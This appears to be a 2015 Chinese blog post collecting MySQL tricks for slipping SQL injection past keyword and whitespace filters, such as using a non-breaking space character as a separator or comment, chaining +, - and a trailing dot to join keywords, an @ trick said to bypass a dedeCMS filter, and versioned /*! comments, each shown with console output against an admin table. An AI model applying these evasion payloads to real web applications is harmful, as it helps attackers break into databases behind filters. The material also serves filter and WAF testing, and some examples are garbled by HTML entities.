tips1: 神奇的 &nbsp; (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql&gt; selectversion() <br /> &nbsp;&nbsp;&nbsp; -&gt; ; &nbsp;<br /> +----------------------+ &nbsp;<br /> |version()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | &nbsp;<br /> +----------------------+ &nbsp;<br /> | 5.1.50-community-log | &nbsp;<br /> +----------------------+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个控制符可以当注释符用(限定条件)。



mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ &nbsp;<br /> | id | &nbsp;<br /> +----+ &nbsp;<br /> | 1&nbsp; | &nbsp;<br /> +----+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> usage : where&nbsp; id ='0''xxxxcomment on.



tips2:神奇的- + .

mysql> select id from qs_admins;  

+----+  

| id |

+----+  

| 1  |  

+----+  

1 row in set (0.00 sec)



mysql> select+id-1+1.from qs_admins;  

+----------+  

| +id-1+1. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)



mysql> select-id-1+3.from qs_admins;  

+----------+  

| -id-1+3. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from ...    就是这样连起来过)



tips3: @

mysql> select@^1.from qs_admins;  

+------|+  

| @^1. |  

+------|+  

| NULL |  

+------|+

这个是bypass  曾经dedeCMS filter .



或者这样也是ok.



tips4:mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;  

+------|+  

| test |  

+------|+  

| -1   |  

+------|+  

1 row in set (0.00 sec)

tips5:/
![>5000]/ 新构造  版本号(这个可能有些过时了。)

mysql> /*!40000select\
/ id from qs_admins;  

+----+  

| id |  

+----+  

|  1 |  

+----+  

1 row in set (0.00 sec)


------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~


admin 发布于  2015-5-22 18:52